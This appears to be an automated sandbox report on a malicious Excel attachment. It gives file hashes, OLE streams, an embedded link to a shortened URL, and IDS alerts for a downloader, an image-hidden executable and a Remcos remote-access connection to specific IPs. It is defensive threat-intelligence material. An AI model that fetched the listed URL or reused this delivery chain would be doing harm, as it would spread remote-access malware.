Preview:	..d.i.m. .p.l.a.t.i.n.a.m.i.n.a. .....p.l.a.t.i.n.a.m.i.n.a. .=. .m.e.l.e.a.n.t.e.....a.c.o.v.a.r.(.".m.a.r.a.n.h.a.r.".). .&. .p.l.a.t.i.n.a.m.i.n.a. .&. ._.....a.c.o.v.a.r.(.".d.r.u.p.a.".). .&. .p.l.a.t.i.n.a.m.i.n.a. .&. ._.....a.c.o.v.a.r.(.".i.n.d.i.g.e.n.a.t.o.".). .&. .p.l.a.t.i.n.a.m.i.n.a. .&. ._.....a.c.o.v.a.r.(.".m.u.l.h.e.r.i.n.h.a.".). .&. .p.l.a.t.i.n.a.m.i.n.a. .&. ._.....a.c.o.v.a.r.(.".X._.H.e.l.p.U.r.i.s._.0.0.5._.0._.M.e.s.s.a.g.e.".). .&. .p.l.a.t.i.n.a.m.i.n.a. .&. ._.....a.c.o.v.a.r.(.".a.n.t.r.o.".). .&. .p.l.a.t.i.n.a.m.i.n.a. .&. ._.....a.c.o.v.a.r.(.".m.a.s.c.a.r.a.d.a.".). .&. .p.l.a.t.i.n.a.m.i.n.a. .&. ._.....a.c.o.v.a.r.(.".X._.H.e.l.p.U.r.i.s._.0.0.8._.0._.M.e.s.s.a.g.e.".). .&. .p.l.a.t.i.n.a.m.i.n.a. .&. ._.....a.c.o.v.a.r.(.".X._.H.e.l.p.U.r.i.s._.0.0.9._.0._.M.e.s.s.a.g.e.".). .&. .p.l.a.t.i.n.a.m.i.n.a. .&. ._.....a.c.o.v.a.r.(.".X._.H.e.l.p.U.r.i.s._.0.1.0._.0._.M.e.s.s.a.g.e.".). .&. .p.l.a.t.i.n.a.m.i.n.a. .&. ._.....a.c.o.v.a.r.(.".L._.H.e.l.p.

C:\Users\user\Desktop\90530000

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Fri Jul 26 12:09:15 2024, Security: 1
Category:	dropped
Size (bytes):	1286656
Entropy (8bit):	7.985271791399071
Encrypted:	false
SSDEEP:	24576:36sKGQKr9+FZF+S0ANklw1Q1Ftt5RV8yIQxpoUSIV/pgTNEEt5jpM9:BHr9+FZQNw1Q1l5rBIcqcpONEEt5ji9
MD5:	0E5726EFB558653F8C1D495E51EB4887
SHA1:	4E24194879DC923E024B9BCD7F9E2968709AEAE6
SHA-256:	499DC1040CF41D124103D3A7858565009CED920AEFB34DEB48B9A9E97446560E
SHA-512:	69E19E484551229921B843E9CF76F37B07E747E0CCEF127C2FC03752CC6712F7FD8B72679D4BB61704AF2DF476F2ED7CBCD566739C18595C24048AF39CBF85BD
Malicious:	false
Preview:	......................>...............................................................................................v.......x.......z.......\|.......~................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\Desktop\90530000:Zone.Identifier

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\Desktop\AWD 490104998518.xls (copy)

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Fri Jul 26 12:09:15 2024, Security: 1
Category:	dropped
Size (bytes):	1286656
Entropy (8bit):	7.985271791399071
Encrypted:	false
SSDEEP:	24576:36sKGQKr9+FZF+S0ANklw1Q1Ftt5RV8yIQxpoUSIV/pgTNEEt5jpM9:BHr9+FZQNw1Q1l5rBIcqcpONEEt5ji9
MD5:	0E5726EFB558653F8C1D495E51EB4887
SHA1:	4E24194879DC923E024B9BCD7F9E2968709AEAE6
SHA-256:	499DC1040CF41D124103D3A7858565009CED920AEFB34DEB48B9A9E97446560E
SHA-512:	69E19E484551229921B843E9CF76F37B07E747E0CCEF127C2FC03752CC6712F7FD8B72679D4BB61704AF2DF476F2ED7CBCD566739C18595C24048AF39CBF85BD
Malicious:	true
Preview:	......................>...............................................................................................v.......x.......z.......\|.......~................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Fri Jul 26 03:46:25 2024, Security: 1
Entropy (8bit):	7.9814638526740325
TrID:	Microsoft Excel sheet (30009/1) 47.99% Microsoft Excel sheet (alternate) (24509/1) 39.20% Generic OLE2 / Multistream Compound File (8008/1) 12.81%
File name:	AWD 490104998518.xls
File size:	1'302'528 bytes
MD5:	f63c009bccbc4d8d26d162a168feaeb1
SHA1:	fa8ab13582703932f968a31e6cc0973e45ca43e0
SHA256:	f9541983f2c2e2f0a0a72dce180342d0637a52a4ba6e49ea42e8c5844d4de9e3
SHA512:	56a099036928c0af89d6a4cde7977cf5f3a5626a028aabea8a4dc590dd582c395042ae2c4f05b8085b81a9d19fb12f18beea0fe145712f057ffc12028e063395
SSDEEP:	24576:D6sKGQKr9+FZF+S0ANklw1Q1Ftt5Kj1G8RjM78quuH6OBrNoDgYEMuFh:9Hr9+FZQNw1Q1l5oGYjMhuu3BRo0Yr+
TLSH:	3A552315FA4ADAA3EE2A9C790593D217223C6D62FF4582037745732EA03A36593C7F0D
File Content Preview:	........................>...............................................................................................w.......y.......{.......}..............................................................................................................

File Icon


Icon Hash:	276ea3a6a6b7bfbf

Static OLE Info

General

Document Type:	OLE
Number of OLE Files:	1

OLE File "AWD 490104998518.xls"

Indicators

Has Summary Info:
Application Name:	Microsoft Excel
Encrypted Document:	True
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	True

Summary

Code Page:	1252
Author:
Last Saved By:
Create Time:	2006-09-16 00:00:00
Last Saved Time:	2024-07-26 02:46:25
Creating Application:	Microsoft Excel
Security:	1

Document Summary

Document Code Page:	1252
Thumbnail Scaling Desired:	False
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	786432

Streams with VBA

VBA File Name: Sheet1.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet1
VBA File Name:	Sheet1.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . F 3 I . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 46 33 49 19 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: Sheet2.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet2
VBA File Name:	Sheet2.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . F 3 u _ . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 46 33 75 5f 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: Sheet3.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet3
VBA File Name:	Sheet3.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . F 3 V D . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 46 33 56 44 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: ThisWorkbook.cls, Stream Size: 985

General
Stream Path:	_VBA_PROJECT_CUR/VBA/ThisWorkbook
VBA File Name:	ThisWorkbook.cls
Stream Size:	985
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . F 3 . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 1 . 9 . - .
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 46 33 a2 b6 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	\x1CompObj
CLSID:
File Type:	data
Stream Size:	114
Entropy:	4.25248375192737
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . F & . . . M i c r o s o f t O f f i c e E x c e l 2 0 0 3 W o r k s h e e t . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 26 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 244

General
Stream Path:	\x5DocumentSummaryInformation
CLSID:
File Type:	data
Stream Size:	244
Entropy:	2.889430592781307
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t 1 . . . . . S h e e t 2 . . . . . S h e e t 3 . . . . . . . . . . . . . . . . . W o r k s h e e t s . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 c4 00 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00 78 00 00 00 0c 00 00 00 a1 00 00 00 02 00 00 00 e4 04 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 200

General
Stream Path:	\x5SummaryInformation
CLSID:
File Type:	data
Stream Size:	200
Entropy:	3.272567433052416
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . T . . . . . . . ` . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . \| . # . @ . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 98 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 54 00 00 00 12 00 00 00 60 00 00 00 0c 00 00 00 78 00 00 00 0d 00 00 00 84 00 00 00 13 00 00 00 90 00 00 00 02 00 00 00 e4 04 00 00 1e 00 00 00 04 00 00 00

Stream Path: MBD001EFDD9/\x1CompObj, File Type: data, Stream Size: 99

General
Stream Path:	MBD001EFDD9/\x1CompObj
CLSID:
File Type:	data
Stream Size:	99
Entropy:	3.631242196770981
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . ! . . . M i c r o s o f t O f f i c e E x c e l W o r k s h e e t . . . . . E x c e l M L 1 2 . . . . . 9 q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 57 6f 72 6b 73 68 65 65 74 00 0a 00 00 00 45 78 63 65 6c 4d 4c 31 32 00 00 00 00 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD001EFDD9/Package, File Type: Microsoft Excel 2007+, Stream Size: 642300

General
Stream Path:	MBD001EFDD9/Package
CLSID:
File Type:	Microsoft Excel 2007+
Stream Size:	642300
Entropy:	7.9807610130647495
Base64 Encoded:	True
Data ASCII:	P K . . . . . . . . . . ! . . . . . . . . . . [ C o n t e n t _ T y p e s ] . x m l . ( . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	50 4b 03 04 14 00 06 00 08 00 00 00 21 00 d4 fe 94 9a b9 01 00 00 c0 06 00 00 13 00 d1 01 5b 43 6f 6e 74 65 6e 74 5f 54 79 70 65 73 5d 2e 78 6d 6c 20 a2 cd 01 28 a0 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: MBD001EFDDA/\x1Ole, File Type: data, Stream Size: 788

General
Stream Path:	MBD001EFDDA/\x1Ole
CLSID:
File Type:	data
Stream Size:	788
Entropy:	5.849931837532327
Base64 Encoded:	False
Data ASCII:	. . . . P . 4 . . . . . . . . . . . . ( . . . y . . . K . $ . . . h . t . t . p . : . / . / . t . n . y . . . w . t . f . / . s . A . . . . . k . 1 . b K F w ` : 5 _ W X - { . L W F u m . I . i . f r 0 . . j . . ( . ] N K . . . . = g . V y e . 4 P @ + . u 5 a l . ( . . . : ' . . w $ + . V k i P . . . . . * g % A 9 b . 9 W " & < r I h . w . Q J . 4 . A / U 4 m . . @ J . . . . . . . . . . . . . . . . . . . . x . p . 8 . H . 4 . y . E . F . Y . v . g . Q . r . W . j . z . m . 9 . S . Q . 0 . J . w . T . k
Data Raw:	01 00 00 02 d5 50 f4 03 c4 ef d3 34 00 00 00 00 00 00 00 00 00 00 00 00 28 01 00 00 e0 c9 ea 79 f9 ba ce 11 8c 82 00 aa 00 4b a9 0b 24 01 00 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 74 00 6e 00 79 00 2e 00 77 00 74 00 66 00 2f 00 73 00 41 00 00 00 96 f1 f0 c2 96 da f3 1a 6b d9 e6 80 9d 31 be 04 62 4b 46 77 e8 f3 60 af 93 9a 3a c9 35 94 a1 5f 57 58 2d d7 7b c4 8d 95 4c 57 c5 46

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 635801

General
Stream Path:	Workbook
CLSID:
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	635801
Entropy:	7.99943136040081
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . / . 6 . . . . . . . [ . f . + . \| q . [ . $ s r f . T . n % { \| % t X . . . v . . . . . . . h . . . \\ . p . m 6 . y 9 6 . . . . & ~ 1 e . . . i . z : 2 C . _ < ? T > . . T # j E 3 ' b ) C < . g 0 2 . @ s l . . . M w c W O i m 4 . 9 f v . $ S B . . . p a . . . . . . = . . . . { l d > J . . . F u . R . O [ ; . . . . . . . . . . . . 4 . . . . ) . . . . . . . B = . . . F ; ' . 0 . ] e . @ . . . . . . . M " . . . . . . . . . . . . . . . . g 1 . . . 7 < . . k . . R U + . x o 1
Data Raw:	09 08 10 00 00 06 05 00 ab 1f cd 07 c1 00 01 00 06 04 00 00 2f 00 36 00 01 00 01 00 01 00 5b 18 a9 97 e6 66 88 1e 2b 00 ba 7c 71 e4 d1 0d b1 5b 01 81 24 d3 73 72 db 66 11 54 0e 6e a6 25 e4 7b be 7c 25 74 b2 58 8b 92 13 c5 bb c4 a8 76 e1 00 02 00 b0 04 c1 00 02 00 be 68 e2 00 00 00 5c 00 70 00 fc 6d 36 08 79 39 af 36 cc aa d5 fe a3 a6 9a c7 91 06 1b 26 7e a9 c4 31 cd 65 1c 14 1a 99

Stream Path: _VBA_PROJECT_CUR/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 527

General
Stream Path:	_VBA_PROJECT_CUR/PROJECT
CLSID:
File Type:	ASCII text, with CRLF line terminators
Stream Size:	527
Entropy:	5.27186694728929
Base64 Encoded:	True
Data ASCII:	I D = " { 2 6 2 4 1 6 F 0 - 4 4 5 D - 4 6 C 2 - B 6 7 D - 7 C B C 5 3 C 7 0 8 E F } " . . D o c u m e n t = T h i s W o r k b o o k / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 1 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 2 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 3 / & H 0 0 0 0 0 0 0 0 . . N a m e = " V B A P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " 6 4 6 6 B A 2 1 7 A 8 2 7 E 8 2 7
Data Raw:	49 44 3d 22 7b 32 36 32 34 31 36 46 30 2d 34 34 35 44 2d 34 36 43 32 2d 42 36 37 44 2d 37 43 42 43 35 33 43 37 30 38 45 46 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 57 6f 72 6b 62 6f 6f 6b 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 31 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 32 2f 26 48 30 30 30

Stream Path: _VBA_PROJECT_CUR/PROJECTwm, File Type: data, Stream Size: 104

General
Stream Path:	_VBA_PROJECT_CUR/PROJECTwm
CLSID:
File Type:	data
Stream Size:	104
Entropy:	3.0488640812019017
Base64 Encoded:	False
Data ASCII:	T h i s W o r k b o o k . T . h . i . s . W . o . r . k . b . o . o . k . . . S h e e t 1 . S . h . e . e . t . 1 . . . S h e e t 2 . S . h . e . e . t . 2 . . . S h e e t 3 . S . h . e . e . t . 3 . . . . .
Data Raw:	54 68 69 73 57 6f 72 6b 62 6f 6f 6b 00 54 00 68 00 69 00 73 00 57 00 6f 00 72 00 6b 00 62 00 6f 00 6f 00 6b 00 00 00 53 68 65 65 74 31 00 53 00 68 00 65 00 65 00 74 00 31 00 00 00 53 68 65 65 74 32 00 53 00 68 00 65 00 65 00 74 00 32 00 00 00 53 68 65 65 74 33 00 53 00 68 00 65 00 65 00 74 00 33 00 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/_VBA_PROJECT, File Type: data, Stream Size: 2644

General
Stream Path:	_VBA_PROJECT_CUR/VBA/_VBA_PROJECT
CLSID:
File Type:	data
Stream Size:	2644
Entropy:	3.9688732230623827
Base64 Encoded:	False
Data ASCII:	a . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 0 . # . 9 . # . C . : . \\ . P . R . O . G . R . A . ~ . 2 . \\ . C . O . M . M . O . N . ~ . 1 . \\ . M . I . C . R . O . S . ~ . 1 . \\ . V . B . A . \\ . V . B . A . 6 . \\ . V . B . E . 6 . . . D . L . L . # . V . i . s . u . a . l . . B . a . s . i . c . . F . o . r .
Data Raw:	cc 61 88 00 00 01 00 ff 09 40 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00 04 00 02 00 fa 00 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 30 00 23 00

Stream Path: _VBA_PROJECT_CUR/VBA/dir, File Type: data, Stream Size: 553

General
Stream Path:	_VBA_PROJECT_CUR/VBA/dir
CLSID:
File Type:	data
Stream Size:	553
Entropy:	6.350888072320283
Base64 Encoded:	True
Data ASCII:	. % . . . . . . . . 0 * . . . . p . . H . . . . d . . . . . . . V B A P r o j e c t . . 4 . . @ . . j . . . = . . . . r . . . . . . . . . b . h . . . . J < . . . . . r s t d o l e > . . . s . t . d . o . l . e . . . h . % . ^ . . * \\ G { 0 0 0 2 0 4 3 0 - . . . . . C . . . . . . 0 0 4 . 6 } # 2 . 0 # 0 . # C : \\ W i n d . o w s \\ S y s W O W 6 4 \\ . e 2 . . t l b # O L E . A u t o m a t i . o n . ` . . E O f f D i c E O . f . i . c E . . E . 2 D F 8 D 0 4 C . - 5 B F A - 1 0 1 B - B D E 5 E A A C 4 . 2
Data Raw:	01 25 b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 0a 3d 02 0a 07 02 72 01 14 08 05 06 12 09 02 12 62 04 b4 68 08 94 00 0c 02 4a 3c 02 0a 16 00 01 72 80 73 74 64 6f 6c 65 3e 02 19 00 73 00 74 00 64 00 6f 00 80 6c 00 65 00 0d 00 68 00 25 02 5e 00 03 2a 5c 47

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-26T13:09:04.026573+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49174	80	192.168.2.22	178.237.33.50
2024-07-26T13:08:58.500549+0200	TCP	2049038	ET MALWARE Malicious Base64 Encoded Payload In Image	80	49171	198.46.176.133	192.168.2.22
2024-07-26T13:08:59.714462+0200	TCP	2020424	ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1	80	49172	192.3.176.174	192.168.2.22
2024-07-26T13:08:57.397604+0200	TCP	2047750	ET MALWARE Base64 Encoded MZ In Image	80	49171	198.46.176.133	192.168.2.22
2024-07-26T13:09:01.750905+0200	TCP	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	49173	14645	192.168.2.22	194.187.251.115

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 26, 2024 13:08:44.026148081 CEST	49165	80	192.168.2.22	188.114.96.3
Jul 26, 2024 13:08:44.031152964 CEST	80	49165	188.114.96.3	192.168.2.22
Jul 26, 2024 13:08:44.031227112 CEST	49165	80	192.168.2.22	188.114.96.3
Jul 26, 2024 13:08:44.031326056 CEST	49165	80	192.168.2.22	188.114.96.3
Jul 26, 2024 13:08:44.036349058 CEST	80	49165	188.114.96.3	192.168.2.22
Jul 26, 2024 13:08:45.200596094 CEST	80	49165	188.114.96.3	192.168.2.22
Jul 26, 2024 13:08:45.200822115 CEST	49165	80	192.168.2.22	188.114.96.3
Jul 26, 2024 13:08:45.206018925 CEST	49166	80	192.168.2.22	192.3.176.174
